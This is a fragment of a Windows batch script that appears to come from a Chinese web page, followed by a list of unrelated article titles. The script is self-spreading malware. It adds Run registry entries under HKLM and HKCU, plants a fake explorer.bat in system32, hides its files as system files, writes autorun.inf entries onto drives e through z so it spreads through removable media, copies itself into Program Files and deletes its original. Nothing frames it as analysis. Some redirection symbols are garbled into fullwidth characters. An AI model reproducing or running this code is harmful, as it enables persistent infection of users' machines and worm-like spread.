echo REG ADD HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run /v
setup.bat /t REG_SZ /d d:\setup.bat
/f 》》%windir%/system32/explorer.bat
echo REG ADD HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run /v
setup.bat /t REG_SZ /d d:\setup.bat
/f 》》%windir%/system32/explorer.bat
echo REG ADD HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run /v
explorer.bat /t REG_SZ /d %
windir%/system32/explorer.bat/f 》》%windir%/system32/explorer.bat
echo REG ADD HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run /v
explorer.bat /t REG_SZ /d %
windir%/system32/explorer.bat /f 》》%windir%/system32/explorer.bat
echo start %systemroot%\windows.bat /min 》》%windir%/system32/explorer.bat
attrib %windir%/system32/explorer.bat +r +s +h%
attrib %systemroot%/windows.bat +r +s +h
for %%c in (%alldrive%) do echo @echo off 》》%%c:\system.bat
for %%c in (%alldrive%) do echo start %windir%\system32\cmd.bat /min 》》%%c:\system.bat
for %%c in (%alldrive%) do echo attrib system.bat +r +s +h 》》%%c:\system.bat
set drive=e f g h i j k l m n o p q r s t u v w x y z
for %%c in (%drive%) do echo 》%%c:\autorun.inf
for %%c in (%drive%) do echo Open=system.bat 》》%%c:\autorun.inf
copy %0 d:\Program" "Files\run.bat
for %%c in (%alldrive%) do echo if not exist %windir%/system32/explorer.bat start
d:\Program" "Files\run.bat /min
》》%%c:\system.bat
for %%c in (%alldrive%) do attrib autorun.inf +r +s +h 》》%%c:\system.bat
for %%c in (%alldrive%) do attrib %%c:\autorun.inf +r +s +h 》nul
for %%c in (%alldrive%) do attrib %%c:\system.bat +r +s +h 》nul
if not exist %windir%/system32/explorer.bat start d:\Program" "Files\run.bat
/min 》》d:\setup.bat
attrib d:\Program" "Files\run.bat +r +s +h 》nul
del %0
exit
更多文章：
2026年10月11日 05:30
跷二郎腿太低好吗？想要通过贴墙站改正二郎腿影响的话，有哪些要点需要注意
2026年10月11日 05:10
易语言点击js按钮（易语言网页填表怎样点击链接为“javascript:void（0）“的按钮）
2026年10月11日 03:00
2026年10月11日 01:10
2026年10月11日 01:00
compare with造句（用compared with和compared to造句）
2026年10月10日 23:30
2026年10月10日 22:50
tensorflow与keras对应版本（为什么tensorflow2.8没有keras）
2026年10月10日 22:10
2026年10月10日 22:00
maven仓库jar网站（如何在maven仓库中添加jar包）
2026年10月10日 19:50
